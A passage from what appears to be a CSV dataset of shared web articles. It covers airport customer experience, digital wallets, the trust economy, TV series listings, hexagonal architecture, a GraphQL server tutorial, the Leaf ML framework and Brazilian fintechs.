needed for the desired outcome. The airport's broad leadership team came together in a series of sessions to agree on an ultimate purpose. Discussions involved more than 60 entities as diverse as airlines, coffee vendors, the local police department, the TSA, and janitorial contractors. The shared aspiration the group decided on was ""to delight and value each guest with the finest airport experience in the world."" The work that followed sought to apply this aspiration to a set of thematic objectives that would begin to frame the airport's customer-experience transformation and the way stakeholders would achieve it. For the airport, this effort yielded a list of outcomes covering the customer's end-to-end airport experience: safety: assuring the safe and secure conduct of all guests and staff (an obvious and paramount objective in an airport) comfort: improving the quality of the experience in seating, entertainment, restrooms, interactions with employees, and architectural and design style ease: helping customers find their way around the airport, understand what to do while there, get help, and learn the best way to spend their time on-site speed: compressing wait times, creating early bag-drop options, and navigating congestion Executing change In our experience, this kind of simple formulation can serve as a powerful foundation for channeling problem solving and innovation to unite team members at all levels. Large, diverse organizations need simplicity and structure to execute at scale. To believe in a customer-experience program and to engage with it actively, employees must know that leadership clearly understands the situation, has an organized way to move forward, and is serious about change. Three things create this strong basis for action: a definition of the degree of change desired, a strong understanding of what matters to customers, and a shared aspiration and framework for change. Innovation teams formed to achieve these objectives generate high-impact ideas. A large part of building a common aspiration involves seriously engaging frontline leaders in this kind of practical innovation. People can fully engage their minds with the problem at hand, see progress, and feel entrusted with the goal of promoting change. Metrics reflecting the stages of the customer's end-to-end experience are also essential to reinforce its overall quality. Thus, with a shared aspiration clearly defined, airport administrators and team members organized groups of employees around the four customer themes: safety, comfort, ease, and speed. The teams then doubled down on the employee experience with a care-and-recognition effort. Mixed teams, with stakeholders from the airline, car-rental, retailing, law-enforcement, and airport staffs, actively worked to develop ideas, including new apps to navigate around the airport, new forms of entertainment, layout changes, and a curbside valet and bag check at parking garages. Throughout the whole organization, from the board level down, the most critical idea was a simple focus on the conduct of all staff members across the airport's 60-odd entities. The employee team developed five defined points as the bedrock of a great customer experience: Remain mindful of surroundings, and stop unsafe behavior. Pick up trash or report an area that needs attention. Display appropriate body language and use a calm tone of voice. Make eye contact and smile. Stop and proactively offer to assist with the next step in the customer's journey. These points provided the link between the staff and the underlying customer-experience drivers. Not one of the frontline employees needed to understand the complex regressions used to identify customer preferences. They could simplify what was needed so well that all of them, regardless of employer, could follow through with effective action. Two years after the project's launch, more than 50 staff members gather every other week to reinforce and advance this level of shared aspiration by solving problems, developing innovations, and demonstrating distinctive examples of the behavior the project was designed to encourage. Average retail spending per passenger at the airport is more than 15 percent higher than the pretransformation baseline. On the front lines, engagement among stakeholders is also on the rise. TSA officers recognize curbside staff members. Airline employees acknowledge peers from competitors. The CEO and his staff are out on the front lines interacting with employees and working to realize the goals that form the living manifestation of the customer-experience strategy. If you carry the aspiration forward, it is even possible to envision a return, someday, to the spirit of the early days of flying, when an airport was a place where visitors felt privileged to spend time. About the author(s) Brooke Boyarsky is a consultant in McKinsey's Dallas office, where Will Enger is an associate principal; Ron Ritter is a principal in the Miami office.",en
1461525562,CONTENT SHARED,-7082978776831463151,-1032019229384696495,-7645414203434198015,,,,HTML,http://techcrunch.com/2016/04/24/why-your-wallet-is-becoming-the-next-platform/,Why your wallet is becoming the next platform,"The ""wallet"" in the modern sense of ""flat case for holding paper currency"" dates back almost 200 years. The word itself goes back 700 years, and the concept (minus paper currency) for millennia. Leather wallets were not ""smart,"" of course; they were atom agnostic, payment type agnostic, even, as credit cards and the like started proliferating in the mid 20th century. But today the payment type is almost a pointer - in computer science vernacular - to a source of money. And the wallet itself is the master pointer, used for opening and closing a transaction, and choosing which sub-pointer to assign. Because intercepting the payment leads to a whole downstream treasure of goodies, the wallet - once tanned animal hide - is going to be the ultimate financial platform. As digital wallets increasingly become the origination point for consumer spending, they will become THE platform for downstream financial services - creating an opportunity for startups and a problem for established players. The problem, of course, is that a payment type can become a wallet, and a wallet can become a payment type. So which is which? If a ridesharing company has 100 million credentials, they've solved half of the network effect problem of being a payment company - so you could imagine using that app as your wallet at, say, Walmart. Or Starbucks, which is one of the biggest wallets, has a pointer within its wallet to Visa Checkout, another wallet, pointing to a card type (a Visa card, or even a MasterCard/Amex/Discover card), pointing to a ""loan"" (the ""credit"" part of a credit card), ultimately pointing to a bank account. As a stack, we have hardware - your mobile phone - at the top and bank accounts holding the actual treasure at the very bottom. But it's better to think of this ""stack"" as really a system of pointers, in this case downwards. And the goal for businesses is finding and occupying a defensible position in this stack that allows them to intercept payments, capturing and controlling value to become that ultimate financial platform. On my Apple iPhone, I can run the Uber app and pay via PayPal, which deducts the money from my American Express Card. For the first four components of the stack - hardware, operating system, app, and cloud backbone - the heuristics of success for capturing value are the number of integrations (i.e., the number of places people can use the wallet) and number of credentials (users who have committed more than one tender type). Given the massive number of credentials they have and the controlling position as the ""start"" of the stack - unlike other players, Apple has both hardware and OS - Apple's wallet as platform could deal a crippling blow to everyone down the stack. Especially because the flow in this stack only goes one way: players below don't get access to the resources up the stack. In a mobile-only world, a well-coordinated effort to let you simply touch your thumb to your iPhone to pay on any ecommerce site or app could wipe out probably 20% of PayPal's revenue, overnight [two-thirds of PayPal revenue is merchant services off eBay; assume 25% iOS share]. The real value of occupying a defensible place in this stack is not even in processing the payment, however. Capital One spends a lot of money every year convincing you to apply for and use its credit card. Once subsumed under a digital wallet, though, that ""usage"" component gets further and further out of Capital One's control, with tremendous implications on downstream interest (lending) revenue. One change in Apple's product design - for example, something as simple as alphabetization, which a leather wallet doesn't do! - could move Bank of America ahead of Capital One as a ""default,"" moving more purchases in that direction. The ""end result"" of this whole system of pointers is usually an increasing balance on a revolving credit facility - a credit card. Take LendingClub and Prosper, the two biggest marketplace lending companies. About half of LendingClub's loan originations come from refinancing credit card debt, which they source via U.S. Postal Service mail ads, Google ads, etc. But controlling a position in the purchase stack could and arguably should replace their normal customer acquisition process; rather than waiting for a consumer to accrue a large balance from a series of purchases (at a ridiculously high credit card interest rate) and then refinance, catch it as the balance comes in from purchases. The next large consumer finance company is likely to interrupt this chain of pointers. But at which point in the stack? It will be very challenging to attack the top of the stack as that would require a hardware+OS wallet with massive adoption and a massive number of payment credentials. And attacking the bottom of the stack is challenging as well ...and relatively unprofitable at that. Right now, LendingClub will take your 18% APR Chase/Citi/et al interest rate and refinance it down to 10%. But in a world where ApplePay controls the front and existing banks like WellsFargo provide the source of funds at the end, there's no reason not to ""automate away"" the credit selection process. Why wouldn't they just skip right to the rate LendingClub would have given you, or even skip to the best ""marketplace lending"" rate? The biggest dislocation once that happens will be that your ""credit card"" will no longer be the default source of medium/long duration credit. This has major implications for all of consumer finance. The future: Wallet apps, rewards, insights For credit card companies, the smartest thing they can do is to not build their own cloud wallet, which creates an unnecessary ""sub-pointer"". Yet many of them are doing this because they're missing the full view of where value lies in the stack and how to better leverage their position within it. For cloud wallets - which are facing the existential challenge of being caught, literally, in the middle - the smartest thing they can do is align themselves with a winning application wallet if they're losing in acquiring enough credentials on their own. Because payment companies (e.g., Chase, Citi, etc.) risk being abstracted into irrelevance, attaching themselves to the winning application wallets (the likes of Amazon, Lyft, Starbucks, Uber, etc.) is one of the only ways to prioritize their existing ""pointer"" vis-a-vis others. So what does this all mean for startups? Well, it will become easier to address the most profitable part of the stack - lending - without getting into the herculean and quixotic path of payments. Companies like PayByTouch over 8 years ago and Powa more recently together evaporated over $500M before dissolving into bankruptcy. Today, there are many other parts of key infrastructure that can be rewritten with access to digital wallet-as-platform: rewards, PFM (personal financial manager, à la Quicken/Mint), merchant recommendations, offers, etc. There is also a whole generation - millennials - who don't understand the notion of balancing a checkbook because they don't even have a checkbook. It's an anachronism, as are the PFMs that grew up around that notion, including long delays before purchases show up in ""modern"" PFMs. This is because the purchase goes from merchant, to merchant bank, to network, to issuing bank, to aggregator, to PFM. But in digital wallets, purchases show up instantly - allowing recommendations, offers, and discounts to be instantaneous. Digital wallets may finally enable the long-sought ""taste graph"" (the mother of all ""people who bought this, also bought that"") to be built. All of this will require the ""top"" of the stack to open up - for Apple, Google, and other players to recognize they are building a financial platform, which like all platforms are most valuable when developers have access. Given the size of the market, it's a question of when, not if, this will happen. And once it does, it's likely to be a game changer for the banks that for decades have relied on branches and consumer branding, and for startups who will finally find themselves with a capital-efficient entry point for disrupting consumer finance. Featured Image: wowomnom / Shutterstock (IMAGE HAS BEEN MODIFIED)",en
1461531158,CONTENT SHARED,-7646489242554562522,-1578287561410088674,-5843888580106500275,,,,HTML,http://www.imdb.com/title/tt2661044/,The 100 (TV Series 2014- ),"Nominated for 1 Primetime Emmy. Another 9 nominations. See more awards "" Storyline The series is set 97 years after a devastating nuclear war wiped out almost all life on Earth. The only known survivors are the residents of twelve space stations in Earth's orbit prior to the war. The space stations banded together to form a single massive station named ""The Ark"", where about 2,400 people live. Resources are scarce and all crimes no matter their nature or severity are punishable by death (""floating"") unless the perpetrator is under 18 years of age. After the Ark's life support systems are found to be critically failing, one hundred juvenile prisoners are declared ""expendable"" and sent to the surface in a last ditch attempt to determine if Earth is habitable again. The teens arrive on a beautiful planet they've only seen from space. Confronting the dangers of this rugged new world, they struggle to form a tentative community. However they discover that not all humanity was wiped out. There are people on Earth who survived the war, called ""grounders"" by the 100. The ... Written by Thomas O'Darren Taglines: Would you sacrifice freedom for survival? Details Release Date: 19 March 2014 (USA) Company Credits Technical Specs See full technical specs "" Did You Know? Trivia Anya means maternal or mother in Hungarian. See more "" Quotes [repeated introduction to episode recap] : [v.o] I was born in space. I've never felt the sun on my face or breathed real air or floated in the water. None of us have. For three generations, The Ark has kept what's left of the human race alive, but now our home is dying, and we are the last hope of mankind. One hundred prisoners sent on a desperate mission to the Ground. Each of us is here because we broke the Law. On the Ground, there is no Law. All we have to do is survive. But we will be tested:... See more "" User Reviews Message Boards Recent Posts",en
1461531427,CONTENT SHARED,-9192549002213406534,-1578287561410088674,-5843888580106500275,,,,HTML,http://thenextweb.com/dd/2016/04/20/googles-chrome-os-material-design/,Chrome OS now has Material Design for the desktop,"Chromebook users are in for a surprise: Chrome 50 is bringing material design to Chrome OS, too. On his blog , Senior Designer at Google Sebastien Gabriel notes there will also be two implementations of Chrome OS. One will be designed for those using mice, while touch-enabled Chromebooks will have a ""hybrid"" layout employing more space between buttons and icons. Material Design for Chrome OS is a lot like you'll find for Android , and that's probably the point. As we've detailed before , Google wants Material Design to be the design language more developers and designers turn to as a default, especially with its recursive look and feel. It also makes sense for Chrome OS, which more heavily on the Web than more traditional operating systems. If Chrome as a browser is going to sport Material Design, its OS should too. Read next: Get ready to kill your cable box: Xfinity is coming to Roku and Samsung Smart TVs TNW's West Coast writer in the PNW (Portland, Oregon). Nate loves amplifying developers, and codes in Swift when he's not writing. If you need to get in touch, Twitter or email are your best bets.",en
1461541786,CONTENT SHARED,5304344058087060692,-1032019229384696495,-7645414203434198015,,,,HTML,http://techcrunch.com/2016/04/24/the-future-is-the-trust-economy/,The future is the trust economy,"As we get into cars with complete strangers, sleep in the beds of people we've never met and lend money to others on the other side of the world, a powerful new currency is emerging - and it's based on trust. What's striking about the shared economy is not the technology that has made it possible, but the vast changes it has triggered in society. It has brought a renewed sense of community, engendered more collaboration, sparked new thinking and put a premium on trust, tapping into a need that transcends boundaries and is still rife with opportunity. If you're not working to build and demonstrate it, then the future might be about to leave you behind, as trust is quickly becoming the global - and most-valued - currency of modern time. The ""codification"" of trust Trust was once an expensive pursuit. Banks were built from luxurious materials in bold architectural forms, with sturdy marble pillars and adornments to provide the most powerful declarations of solidity, tradition and trustworthiness - and to project a sense of enduring history. ""You can trust us - look how much money we can spend on our buildings!"" Trust, more than anything, came from being purposefully wasteful. Just as banks spent big money on marble columns, anything in TV commercials exuded an aura of quality. Likewise, expensive educations from Ivy League schools represented not just a level of intellect or achievement, but an aura of excellence one can derive from investing in a trusted academic institution that came with a built-in reputation. It signified the social status and financial ability to spend more than necessary to be part of an elite group, and, like a stamp of approval, projected specific qualities to potential employers. And think about the hospitality industry. Historically, hotels found success through standardization - guaranteeing a level of comfort and quality under an umbrella brand or chain, often built on emblems of safety, trust and tradition. This has all changed. Today, we are prepared to place our lives in the hands of people we know nothing about. We've taken our most visceral fear of the unknown and cast it aside in a matter of months. What's empowered this shift in values is the codification of reputation - it's the five stars next to people's names that make it possible to trust someone we otherwise know nothing about. And it's transforming the way we live: From riding in an UberX to staying in an Airbnb ; from buying or selling handmade products on Etsy to peer-to-peer loans; from hiring someone on Upwork or TaskRabbit to booking home cleaners on Handy or renting a car on Turo . Similarly, we're seeing a codification of influence and status, the result of which is also trust. The recommendations you receive on LinkedIn and the connections you share with a potential employer can determine whether you get the job. And your Instagram presence - specifically, earning the ""endorsement"" of high-profile followers - determines your next date, if what you seek is a membership on Raya, a new dating app that prides itself on fostering an intimate community of celebrities and creative people. Reputation is now carried by a new system, which takes rather elusive notions of credibility, influence and status and turns them into measurable scores. It's ""digitizing"" relationships and social connections, extracting value and insights from our associations and both codifying and commodifying trust - signifying it and selling it. Re-thinking branding around trust PR, marketing and advertising campaigns have long looked to assert signs of quality, establish credibility and give buyers reasons to believe in them. What's striking about the shared economy is not the technology that has made it possible, but the vast changes it has triggered in society. As consumers, we used to trust that a recognizable hotel brand must provide a great guest experience - otherwise, it wouldn't have been able to build its name. In fact, in the pre-digital age, the advertising that helped build brands was expensive, and that was key. Just as banks spent big money on marble columns, anything in TV commercials exuded an aura of quality, stemming from the feeling that advertising had a high production value and air time was limited. Compare that to today's decentralized and fragmented media landscape, and we see the challenges for brands. What becomes of brand-driven trust when we read news stories that our friends like and share with us, buy products because of reviews on Amazon and stay at hotels we find tagged on Instagram? The very notion of branding is rapidly changing. For a start, it is less physical. That's what allowed the rise of bitcoin - it isn't tied to physical assets like the gold standard; it's the collective beliefs and hopes of its owners that make it so. Similarly, anyone can build an e-commerce site on Wix for $29, with an accompanying social feed that sells products under the guise of a carefully curated aspirational lifestyle. The modern language of trust is a slick user interface, a decent booking flow and impactful images; above all, it's great reviews, ratings and influence. Will there be a single metric of trust? Trust may soon be a commodity that consumers not only want from the brands with which they interact, but demand to know about other people. It won't just be about customers reviewing brands, but our own personas being attached to a score or reputation; people themselves will be ""measured."" Everything from our influence, social following, work connections, credit worthiness and beyond, could make up the metric of trust. This may end up deciding who gets upgraded on a flight, who can buy products from us or who gets priority customer service. In this new world, our ""trust score"" will be the only metric that people need in order to make decisions on how to do business, and with whom. It effectively becomes the new credit score. For someone with VC funding, the opportunity in the next year to find a single metric of trust is huge. The question is what are you doing to actively build trust with your customers? In a world where your brand is less what you say and more the collective experiences of everyone using it, you can't simply rely on marketing to meet the challenge for you in the future. Featured Image: Nicoleta Raftu / Shutterstock",en
1461581373,CONTENT SHARED,8587620342631480154,-8020832670974472349,8047943198331928282,,,,HTML,http://tpierrain.blogspot.com.br/2016/04/hexagonal-layers.html?m=1,"Hexagonal != Layers

","People around me know that I am a strong supporter of the hexagonal architecture (a.k.a. ports & adapters). Whether at work, during conferences or around coffee machines, I do not miss an opportunity to try to highlight the value of this architectural pattern created by Alistair Cockburn and which is DDD-friendly. For me it's a real mystery: why almost no one actually leverages on hexagonal architecture, despite its huge ROI and value for projects... During these discussions with people, a remark keeps coming again and again: "" ... hexagonal and layers architectures are the same, right? "" The aim of this article is to explain how different they are. Some history about the ""Layers"" pattern The concept of layers is not new in IT (eg OSI model ), but the best description of this architecture pattern for me can be found within the POSA reference book (vol 1, published in 1996). And like with any pattern, it is much more interesting to remember the intent / the problem to be solved than the solution. Otherwise there is a risk we use it because we know it instead of using it because it fulfills to our need... I used to see many people using Layers by habit and without being able to justify why they use it. Let's make a test: ask colleagues who use it around you why they do it ;-) Before comparing Layers with Hexagonal, let's resume the intent of the Layers architecture patterns : ""helps to structure applications that can be decomposed into groups of subtasks in which each group of subtasks is at a particular level of abstraction."" The main objective: managing the complexity of a large application by decomposing it. Now let's have a look at the solution : "" Structure your system into an appropriate number of layers and place them on top of each other (...) observe the following rule: a J layer provides services used by its top Layer J+1 and delegates subtasks to its bottom layer J-1 (...) The main structural characteristic of the Layers pattern is that the services of Layer J are only used by Layer J+1; there are no further direct dependencies between layers. "" The respect of the latter rule is crucial; it allows to limit the impact of the replacement of a layer with another one (only the top layer and possibly the bottom layer being impacted). Although the pattern leaves open the number of layers, it is clear to me that the interest of the solution starts from 3 layers (for at least J, J+1 and J-1). In fact in real life, you can usually count the number of layers within an application by knowing the number of tech leads previously involved on the project ;-) Leading to what we called a ""Baklava architecture"" (anti-pattern). In the past I've worked on projects where there were so many layers... it was difficult to understand and follow the application / business logic. I initially become interested in the Hexagonal Architecture to fix the poor signal / noise ratio found in those Layers architectures. Hexagonal architecture: origin and usefulness Created by Alistair Cockburn in the 2000s, the hexagonal architecture was designed to prevent the infiltration of the business logic into the UI code (such infiltration leading to less testable and more difficult to maintain apps). The proposed solution is to divide our software in 2 distinct regions: the inside (i.e. the business application logic) and the outside (i.e. the infrastructure code like the APIs, the SPIs, the databases, etc.). 2 distinct zones. No more no less. Two distinct areas of our code with adapters positioned in what looks like a DMZ to protect the domain code from the infrastructure one. We just have to rely on the Dependency Inversion Principle (DIP) and the Repository pattern to prevent the domain code to be binded to the infrastructure code when it want to get some information outside, and voila! Since I already wrote a previous post about the Hexagonal Architecture but also made a talk with my friend (slides available ), I won't detail further here. How the onion case complicates things There is a variant of the hexagonal architecture: the onion architecture from Jeffrey Palermo. To be honest, I don't really like this version which is mixing the concept of layers (like an onion) with the outsourcing of the infrastructure code as explained by Alistair. As people usually only remember the ""Layers"" part, I think Jeffrey's pattern is misleading because it lead people to miss the most interesting part of the hexagonal pattern IMO (i.e. the segregation in 2 zones which simplifies everything). Still not convinced that Hexagonal is not the same as Layers? For sure you can mix both patterns by putting layers here and there within each of the 2 areas of the hexagonal architecture (like Jeffrey did), but I don't think you should. Indeed, this complicates the architecture of your system and has to be considered carefully (why would we do that? does it bring value in our context?). Such mix-in would be our hybrid choice, and is not part of Alistair's description of the hexagonal pattern. Can we say that 2 patterns with different motivations and different solutions are equivalent? Not in my opinion. What bothers me most with this speech is that it prevents people to discover the real power of the Hexagonal Architecture ( ""yeah, I don't see why I should look in detail this pattern, cause it's already what we do with our layers..."" ). Sad Panda. According to me, the hexagonal architecture has two main virtues: To prevent domain code to be contaminated by the infrastructure code (DDD friendly) To simplify the architecture of our systems (avoiding the accidental complexity associated with extra layers for no explicit reason) Fostering simplicity is hard but valuable . Hexagonal Architecture helps us to simplify our applications' architecture (and thus maintenance). I like to finish that post with a tribute to Matteo Vaccari ASCII art comparison between Layers and Hexagonal. These diagrams helped me many times to explain those differences to colleagues at work.",en
1461582477,CONTENT SHARED,2910288655685129221,-1130272294246983140,-6759492264135450899,,,,HTML,http://www.imdb.com/title/tt2085059/,Black Mirror (TV Series 2011- ),"A television anthology series that shows the dark side of life and technology. Release Date: 4 December 2011 (UK) See full technical specs "" Trivia Season 3 of the show has been picked up by Netflix UK and they will show 12 new episodes with production to begin at the end of 2015. See more "" Connections Followed by Black Mirror (2016) See more "" Recent Posts",en
1461582606,CONTENT SHARED,119886322445874454,-1578287561410088674,-642937495021764287,,,,HTML,https://medium.com/apollo-stack/tutorial-building-a-graphql-server-cddaa023c035,Tutorial: How to build a GraphQL server - Building Apollo,"Tutorial: How to build a GraphQL server Talk to MongoDB, SQL and REST with these simple steps Earlier this week, we released a technical preview for Apollo , a GraphQL data stack. Apollo has two parts so far: An easy-to-use GraphQL client that integrates with React, Angular, Redux, and Meteor. An opinionated guide and tools for building a JavaScript GraphQL server. Today's post is going to be a tutorial for the second part - how to build a GraphQL server that connects to multiple backends: A SQL database, a MongoDB database and a REST endpoint. We'll be combining all of them to build a very basic blog with authors, posts and views. The tutorial has seven parts: Setting up Defining a schema Quickly setting up a mocked server Writing resolvers Connecting to a SQL database Connecting to MongoDB Using REST services from GraphQL If you prefer watching a video instead of reading this tutorial, you're in luck. You can either read this post or watch the video, they both cover the same steps. 1. Setting up This tutorial assumes that you've already set up Node.js and npm for your computer, and that you know how to copy-paste things to the command line. Naturally, you'll also need a text editor of sorts. To follow along with the MongoDB part (optional), you'll also need a MongoDB server running somewhere. If you have all of that, there is just a little bit more boilerplate to set up: Babel for ES6 features, and a simple express server. You can do this yourself if you like, but you can also just clone the starter-kit for this tutorial: git clone cd apollo-starter-kit git checkout server-only npm install This will download the starter-kit from GitHub and install all the npm packages you need to get started. Once the installation is finished, you can launch the server with this command: npm start If all goes well, the server should now print out a message that it is listening on port 8080. If you open localhost:8080 in your browser, you should now see the GraphiQL GUI: If it worked, you're all ready to get started writing your GraphQL server! 2. Defining a schema At the core of any GraphQL server is a schema. The schema defines types and their relationships. It also specifies which queries can be made against the server. In our example, the schema is defined in data/schema.js: ApolloServer uses the GraphQL schema language notation, which it then compiles to a GraphQL-JS schema. With the current schema, our server provides exactly one root query: testString, which returns a String. The schema notation supports all GraphQL types. In this tutorial we are only going to use a few of them. If you want to know about the others, you can check out the Apollo docs . For our blog app, we now have to modify schema.js and add the types we need. You can write those inside the typeDefinitions string. Author is going to have four fields: id, firstName, lastName and posts. Posts is an array that refers to that author's posts. type Author { id: Int firstName: String lastName: String posts: [Post] } Post is going to have five fields: id, title, text, views and author. Author refers to the author type we just defined: type Post { id: Int title: String text: String views: Int author: Author } Now that we've defined the types, we need to modify the Query type to tell the server about the queries that users are allowed to type Query { author(firstName: String, lastName: String): Author getFortuneCookie: String # we'll use this later } schema { query: Query } Your schema.js file should now look as follows: 3. Mocking If you used the `npm start` command to start the server, it will have updated automatically, so you can go to , and run the following query: { author(firstName:""Edmond"", lastName: ""Jones""){ firstName lastName posts{ title views } } } You should get a response that looks something like this: { ""data"": { ""author"": { ""firstName"": ""It works!"" ""lastName"": ""It works!"" ""posts"": [{ ""title"": ""It works!"" ""views"": 34 }, { ""title"": ""It works!"" ""views"": -22 }] } } } Are you wondering how your GraphQL came up with that response, even though we didn't tell it where to get the data from? It's quite simple actually, we told the server in the starter-kit to mock the data, and that's what it's doing. The data doesn't look very realistic though, so we're going to have to change that. If you're not interested in mocking, you can skip to the next section. If you're not sure whether you should be interested in mocking, you can take a quick look at my post on mocking , which explains the benefits. Alright then, let's change the mocking to make it a bit more realistic. Right now the server is using the same string everywhere. We're going to tell it how to mock a first and last name for Author, and how to mock title, text and views for Post. We'll also tell it that if we queried for a specific author, the author returned should have the name we searched for. In order to do that, we're going to use an npm package called ""casual"", which you should now install by running ""npm install casual"". Once casual is installed, go ahead and modify the file data/mock.js to look like this: I won't explain here how it works exactly. At a high level, mocks for each type just define a function that gets run when an object of that type should be returned. You can find more information here . Go ahead and rerun the query you ran earlier. The output should make a lot more sense now. 4. Writing resolvers So far, we've only set up the schema and tested it with some mock data. In order for the server to be more useful, we have to tell it how to respond to a query. In GraphQL, this is done through resolve functions. Every field can have a resolve function, which tells the GraphQL server how to return data for that field, if it appears in a query. The first resolve function for the author field on Query is the first one to be called for the example query that you ran earlier. The return value of that resolve function then gets passed to the resolve functions on the fields of Author, for example posts. The result of that gets passed on to the next resolve function, until a so-called scalar type is reached. Scalar types are GraphQL-speak for leaf nodes in the graph. Let's go ahead and define resolve functions for our schema. At the minimum, we need to define a resolve function for each field that either returns a non-scalar type or takes any arguments. We'll defined the resolve functions in data/resolvers.js. Create that file and copy-paste the following: Before you can try the new server, we need to tell it to stop using mock data and call the resolve functions instead. Change server.js to uncomment mocks and add the resolvers (make sure you don't forget to import data/resolvers.js) import Resolvers from './data/mocks'; // more code ... graphQLServer.use('/', apolloServer({ graphiql: true, pretty: true, schema: Schema, resolvers: Resolvers, // mocks: Mocks, })); If you run the query from earlier again, you'll see that it returns exactly what the resolve functions return. Now that we understand how resolve functions work, let's hook them up to a SQL database! 5. Connecting to SQL In order to get our data from a SQL database into the GraphQL response, we're going to write a connector, and then use those connectors from the resolve function. Technically you could write the database connection logic directly in the resolve functions, but it's much better to keep your resolve functions extremely simple and separate your concerns that way. If you need to change backends later, only your connectors have to change, the resolve functions can stay the same. In this example, we'll use sequelize - a SQL ORM - to connect to a sqlite database. First, install both sequelize and sqlite: npm install sequelize sqlite Next, create a file in the data folder called ""connectors.js"". In it, we'll set up the database connection and define the schema of our database. To have some data to query, we'll use casual again to create some fake data every time the server starts: Now that we have the connectors, we have to modify our resolvers file to import and use the connector we just defined. It's pretty straightforward: Go ahead and run the original query again in your GraphiQL window. You should get the following output: { ""data"": { ""author"": { ""firstName"": ""Edmond"", ""lastName"": ""Jones"", ""posts"": [ { ""title"": ""A post by Edmond"", ""views"": null } ] } } } That wasn't hard at all, right? Let's add MongoDB to the mix. 6. Connecting to MongoDB Now I want to show you one of the greatest features of GraphQL: joining across different backends, in this case SQL and MongoDB. Of course, we could have used the SQL database for the views as well, but often you have to work with existing legacy backends, or you have certain scaling requirements that can only be met by splitting your backend into different services. To illustrate how useful Apollo can be in those cases, we're going to use MongoDB to store the views. For this next part to work, you need to have MongoDB installed and configured correctly on your computer. If that's not the case, feel free to just skim the code or skip to the next section. Still here? Great! Let's get MongoDB wired up to our GraphQL schema. As you probably guessed, we first need to define a connector. Let's do that by adding it to connectors.js. By now you'll probably be able to figure out where each part should go. Make sure you don't forget to npm install mongoose! In resolvers.js, change the Post resolve functions to the following: Post: { author(post) { return post.getAuthor(); }, views(post) { return View.findOne({ postId: post.id }) .then((view) => view.views); }, }, If you run the original query again now, views should be pulled from MongoDB and no longer be null. 7. Querying a REST endpoint Finally, let's also add a REST endpoint to the mix. GraphQL resolve functions can either directly return a value, or they can return a promise. You may not have realized it, but we've been taking advantage of that all along: both sequelize and mongoose return promises! One thing that these promises let us do is get data from other services. I couldn't really think of a great example API to include here, so I ended up choosing the fortune cookie API. It doesn't have anything to do with the rest of the example, but it's good enough to illustrate the concept. First, you'll have to install an npm package called request-promise. Once that's done, add the following to connectors.js: Now that you have the connector, I'm sure you can figure out how to modify resolvers.js to use the connector! To see if you did it right, you can run the following query: { author(firstName: ""Edmond"", lastName: ""Jones""){ firstName lastName } getFortuneCookie } You should get a response that looks similar to this: { ""data"": { ""author"": { ""firstName"": ""Edmond"", ""lastName"": ""Jones"" }, ""getFortuneCookie"": ""You can't unscramble a scrambled egg."" } } Did it work? If so, congratulations, you've just completed this tutorial and written a GraphQL server that uses a SQL, MongoDB and REST!!! If it didn't quite work, you can always take a look at the server-tutorial-solution branch and compare it to your files. Conclusion I hope you've enjoyed this tutorial! If you ran into any issues, please let me know in the comments or file an issue on the apollo-starter-kit repository! This tutorial just covered the basics. If you want to build a production-ready GraphQL server with Apollo, you'll also have to consider things like authentication, authorization, caching, logging, input validation etc. We'll cover these in future tutorials. I'm also hoping to make a tutorial for apollo-client in the near future, so if any of these are of interest to you, make sure to follow Building Apollo and check back every now and then to see what's new!",en
1461585042,CONTENT SHARED,515531013045220470,7392990465409599343,-905418377227775369,,,,HTML,http://autumnai.com/leaf/book/leaf.html,Leaf - Machine Learning for Hackers,"Our life is frittered away by detail. Simplify, simplify. - Henry David Thoreau This short book teaches you how you can build machine learning applications (with Leaf ). Leaf is a Machine Intelligence Framework engineered by hackers, not scientists. It has a very simple API consisting of Layers and Solvers , with which you can build classical machine as well as deep learning and other fancy machine intelligence applications. Although Leaf is just a few months old, thanks to Rust and Collenchyma it is already one of the fastest machine intelligence frameworks available. Leaf was inspired by the brilliant people behind TensorFlow, Torch, Caffe, Rust and numerous research papers and brings modularity, performance and portability to deep learning. To make the most of the book, a basic understanding of the fundamental concepts of machine and deep learning is recommended. Good resources to get you from zero to almost-ready-to-build-machine-learning-applications: And if you already have some experience, A 'brief' history of Deep Learning or The Glossary might prove informative. Both machine and deep learning are really easy with Leaf. Construct a Network by chaining Layers . Then optimize the network by feeding it examples. This is why Leaf's entire API consists of only two concepts: Layers and Solvers . Use layers to construct almost any kind of model: deep, classical, stochastic or hybrids, and solvers for executing and optimizing the model. This is already the entire API for machine learning with Leaf. To learn how this is possible and how to build machine learning applications, refer to chapters 2. Layers and 3. Solvers . Enjoy! Benefits+ Leaf was built with three concepts in mind: accessibility/simplicity, performance and portability. We want developers and companies to be able to run their machine learning applications anywhere: on servers, desktops, smartphones and embedded devices. Any combination of platform and computation language (OpenCL, CUDA, etc.) is a first class citizen in Leaf. We coupled portability with simplicity, meaning you can deploy your machine learning applications to almost any machine and device with no code changes. Learn more at chapter 4. Backend or at the Collenchyma Github repository . Contributing Want to contribute? Awesome! We have instructions to help you get started . Leaf has a near real-time collaboration culture, which happens at the Github repository and on the Leaf Gitter Channel . API Documentation Alongside this book you can also read the Rust API documentation if you would like to use Leaf as a crate, write a library on top of it or just want a more low-level overview. > Rust API documentation License Leaf is free for anyone for whatever purpose. Leaf is licensed under either Apache License v2.0 or, MIT license . Whatever strikes your fancy.",en
1461587237,CONTENT SHARED,204997192300542382,3609194402293569455,4625415184531031066,,,,HTML,http://epocanegocios.globo.com/Mercado/noticia/2016/04/brasil-pode-superar-eua-em-potencial-para-atuacao-de-fintechs.html,Brasil pode superar EUA em potencial para atuação de fintechs,"(Foto: Shutterstock) Uma das maiores revoluções em andamento no setor financeiro mundial é o crescimento das Fintechs, as startups que atuam como uma espécie de alternativas aos bancos tradicionais, prestando serviços financeiros através de estruturas ágeis, tecnologia de ponta e o alcance global dos meios digitais, principalmente através de aplicativos no celular. Nos EUA já existem alguns milhares desse tipo de companhia. No Brasil, ainda são cerca de cem - mas seu potencial é proporcionalmente até maior. Pelo menos essa é a opinião de Luis Cláudio Garcia de Souza, fundador da Finvest, empresa que investe em serviços financeiros inovadores. Luis Cláudio Garcia de Souza, fundador da Finvest (Foto: Divulgação) Souza tem uma longa estrada na área financeira. Foi sócio e membro do comitê executivo do banco Pactual - hoje BTG Pactual - e conselheiro da Bovespa por dois mandatos. Criou a Finvest em 2000 e, a partir da explosão dos meios digitais, dirigiu a empresa para sua função atual de identificar janelas de investimento no mercado nacional. ""Identificamos a oportunidade, criamos ou entramos como sócios dessas companhias, atuamos na gestão de forma estratégica para seu crescimento sustentável e 